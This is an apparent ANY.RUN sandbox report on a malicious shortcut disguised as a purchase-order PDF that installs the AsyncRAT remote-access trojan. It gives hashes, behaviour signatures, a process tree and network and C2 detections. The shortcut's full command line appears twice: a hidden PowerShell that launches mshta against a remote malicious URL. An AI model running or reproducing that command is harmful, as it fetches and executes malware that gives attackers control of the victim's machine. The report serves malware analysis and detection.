File name:

Order Purchasing 2025.pdf.lnk

Full analysis: https://app.any.run/tasks/60bc081f-ab78-4f91-ba71-2772ab79f927
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: January 05, 2025, 20:04:51
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
rat
asyncrat
remote
stealer
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe" KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, length=0, window=showminnoactive, IDListSize 0x0187, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\"
MD5:

09ED1E6FCA4128CD63C7665724B23001

SHA1:

D6C4EFFA6CCA4BE41D791979ADFE72A3EDAEDB02

SHA256:

8FAEF311E0849D71AF555BB55FA2EC2758D7612FED226F36A8B1841733A3CC58

SSDEEP:

24:8N8PZsx/Tff2lgKaKNEeH+/3QkWNdk6ZocWqddS9dbEQW/gK:87TXCiQEeAQldkUFdo9aQ4g

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6344)
      • powershell.exe (PID: 7164)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6712)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Executing a file with an untrusted certificate

      • Audacity.exe (PID: 3288)
      • Audacity.exe (PID: 4596)
      • BtowsPlayer.exe (PID: 6856)

    • Create files in the Startup directory

      • Audacity.tmp (PID: 4816)

    • Antivirus name has been found in the command line (generic signature)

      • find.exe (PID: 6800)
      • tasklist.exe (PID: 6380)
      • cmd.exe (PID: 6416)
      • cmd.exe (PID: 5076)
      • cmd.exe (PID: 5916)
      • tasklist.exe (PID: 6856)
      • cmd.exe (PID: 6440)
      • find.exe (PID: 6472)
      • tasklist.exe (PID: 1804)
      • tasklist.exe (PID: 7112)
      • find.exe (PID: 5208)
      • cmd.exe (PID: 6780)
      • find.exe (PID: 7164)
      • tasklist.exe (PID: 6300)
      • find.exe (PID: 6776)

    • ASYNCRAT has been detected (SURICATA)

      • BtowsPlayer.exe (PID: 6856)

    • Actions looks like stealing of personal data

      • BtowsPlayer.exe (PID: 6856)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 7164)

  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 6344)

    • Application launched itself

      • powershell.exe (PID: 6344)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 6344)
      • mshta.exe (PID: 6712)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6712)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6712)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 7164)
      • Audacity.exe (PID: 3288)
      • Audacity.tmp (PID: 5308)
      • Audacity.exe (PID: 4596)
      • Audacity.tmp (PID: 4816)
      • mshta.exe (PID: 6712)

    • Reads the Windows owner or organization settings

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Reads security settings of Internet Explorer

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Starts CMD.EXE for commands execution

      • Audacity.tmp (PID: 4816)

    • Uses TIMEOUT.EXE to delay execution

      • Audacity.tmp (PID: 4816)

    • Get information on the list of running processes

      • Audacity.tmp (PID: 4816)
      • cmd.exe (PID: 5076)
      • cmd.exe (PID: 6416)
      • cmd.exe (PID: 1344)
      • cmd.exe (PID: 5916)
      • cmd.exe (PID: 6440)
      • cmd.exe (PID: 6780)

    • Contacting a server suspected of hosting an CnC

      • BtowsPlayer.exe (PID: 6856)

    • Connects to unusual port

      • BtowsPlayer.exe (PID: 6856)

    • Executes script without checking the security policy

      • powershell.exe (PID: 7164)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 7164)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 6712)

  • INFO

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 2424)

    • The process uses the downloaded file

      • mshta.exe (PID: 6712)
      • powershell.exe (PID: 7164)
      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Checks proxy server information

      • mshta.exe (PID: 6712)
      • powershell.exe (PID: 7164)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6712)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Application launched itself

      • Acrobat.exe (PID: 2088)
      • AcroCEF.exe (PID: 5192)

    • Disables trace logs

      • powershell.exe (PID: 7164)

    • Sends debugging messages

      • Acrobat.exe (PID: 4136)

    • The executable file from the user directory is run by the Powershell process

      • Audacity.exe (PID: 3288)

    • Checks supported languages

      • Audacity.exe (PID: 3288)
      • Audacity.tmp (PID: 5308)
      • Audacity.exe (PID: 4596)
      • Audacity.tmp (PID: 4816)
      • BtowsPlayer.exe (PID: 6856)

    • Create files in a temporary directory

      • Audacity.exe (PID: 3288)
      • Audacity.tmp (PID: 5308)
      • Audacity.exe (PID: 4596)
      • Audacity.tmp (PID: 4816)

    • Reads the computer name

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)
      • BtowsPlayer.exe (PID: 6856)

    • Process checks computer location settings

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Creates files or folders in the user directory

      • Audacity.tmp (PID: 4816)

    • Reads the machine GUID from the registry

      • BtowsPlayer.exe (PID: 6856)

    • Reads the software policy settings

      • BtowsPlayer.exe (PID: 6856)

    • The sample compiled with english language support

      • mshta.exe (PID: 6712)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: 11
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: wmic.exe
RelativePath: ..\..\..\Windows\System32\Wbem\wmic.exe
CommandLineArguments: process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://chinawoddon.co/poo')"
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
181
Monitored processes
51
Malicious processes
8
Suspicious processes
6

Behavior graph

Click at the process to see the details
start wmic.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs mshta.exe powershell.exe conhost.exe no specs acrobat.exe acrobat.exe no specs audacity.exe audacity.tmp audacity.exe audacity.tmp timeout.exe no specs conhost.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs #ASYNCRAT btowsplayer.exe acrocef.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1344"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe"C:\Windows\System32\cmd.exe—Audacity.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1668"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2796 --field-trial-handle=1672,i,7837572547385608067,13758310634196794761,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1804tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH C:\Windows\System32\tasklist.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Lists the current running tasks
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\tasklist.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2088"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\admin\AppData\Roaming\po.pdf"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
powershell.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrobat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2424"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://chinawoddon.co/poo')"C:\Windows\System32\wbem\WMIC.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2548\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3288"C:\Users\admin\AppData\Roaming\Audacity.exe" C:\Users\admin\AppData\Roaming\Audacity.exe
powershell.exe
User:
admin
Company:
Audacity Team
Integrity Level:
MEDIUM
Description:
Audacity 3.7.1 Setup
Exit code:
1
Version:
3.7.1.0
Modules
Images
c:\users\admin\appdata\roaming\audacity.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\comctl32.dll
c:\windows\syswow64\advapi32.dll
3612\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—WMIC.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3612"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --first-renderer-process --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2312 --field-trial-handle=1672,i,7837572547385608067,13758310634196794761,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3688\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
35 070
Read events
34 962
Write events
106
Delete events
2

Modification events

(PID) Process:(6712) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6712) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6712) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection
Operation:writeName:bLastExitNormal
Value:
0
(PID) Process:(7164) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids
Operation:writeName:Acrobat.Document.DC
Value:
(PID) Process:(2088) Acrobat.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934
Operation:writeName:DisplayName
Value:
Adobe Acrobat Reader Protected Mode
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:sProductGUID
Value:
4143524F5F5245534944554500
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:bSynchronizeOPL
Value:
0
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:uLastAppLaunchTimeStamp
Value:
940726416
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:iNumAcrobatLaunches
Value:
7
Executable files
8
Suspicious files
186
Text files
16
Unknown types
0

Dropped files

PID
Process
Filename
Type
6344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lovxs1kt.ift.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:EB6C6F8B309870589593548E90218E01
SHA256:D4F3BA02372728E6C1ED9D59D2BDB385D2A07DE25109FE0A9452720F9DB1C4DE
6616powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_scmpvqom.315.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C2C5FBE3D8BFECB0F120CDF441E727EFbinary
MD5:E49BC086B6D5F93FD7C8559A1BB36D0B
SHA256:50E0C68BC31A7B69F2264CC9915FDBAC8C06322F90FAA7A3ECDE399CC285333A
6616powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:1BA5270DC4B0BD1A4368C2689F139FB2
SHA256:0E7129BC14B737BCD18203FAE3059E8F3F5B57C627DDFAF0F687B3F30F3D00E2
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850Dbinary
MD5:C10A730C4502B68329D6659FC70C534D
SHA256:24F0C0FE08B9002A3DDA2990921D6FC6CB058ACCCAE70D013E9641B49439BD64
6344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wdtfxbkx.ypo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6616powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0ceidnvv.oyq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:665F6B487B9D55A0292CB77CD5C797DF
SHA256:EADBEF8DE4207DEEB94528ED28C7427F9EE97776B384EC3C1C4B47B8DA7366C7
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C2C5FBE3D8BFECB0F120CDF441E727EFbinary
MD5:5C35CBF6B36CD4D72C407233C14149CF
SHA256:D677F70E5F1B52EEE43FC4921402C4DCA307DC57E3DCDFA78933568B8E5AC765
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
44
DNS requests
25
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6712
mshta.exe
GET
200
172.64.149.23:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
—
—
whitelisted
6712
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D
unknown
—
—
whitelisted
6216
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2356
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2356
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2088
Acrobat.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D
unknown
—
—
whitelisted
2164
svchost.exe
GET
200
23.48.23.173:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6712
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQCDIiD%2FYUK4qPEIgSWrZw77
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
2164
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6076
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
104.126.37.171:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1176
svchost.exe
20.190.159.23:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1076
svchost.exe
23.35.238.131:443
go.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 20.73.194.208
  • 40.127.240.158
whitelisted
google.com
  • 142.250.185.174
whitelisted
www.bing.com
  • 104.126.37.171
  • 104.126.37.163
  • 104.126.37.153
  • 104.126.37.186
  • 104.126.37.177
  • 104.126.37.136
  • 104.126.37.178
  • 104.126.37.176
  • 104.126.37.123
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 20.190.159.23
  • 20.190.159.4
  • 40.126.31.67
  • 20.190.159.0
  • 40.126.31.69
  • 20.190.159.68
  • 20.190.159.71
  • 20.190.159.75
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
chinawoddon.co
  • 66.29.132.84
unknown
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.usertrust.com
  • 172.64.149.23
  • 104.18.38.233
unknown
ocsp.sectigo.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted

Threats

PID
Process
Class
Message
6856
BtowsPlayer.exe
Domain Observed Used for C2 Detected
ET MALWARE Generic AsyncRAT Style SSL Cert
6856
BtowsPlayer.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] AsyncRAT Successful Connection
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Order Purchasing 2025.pdf.lnk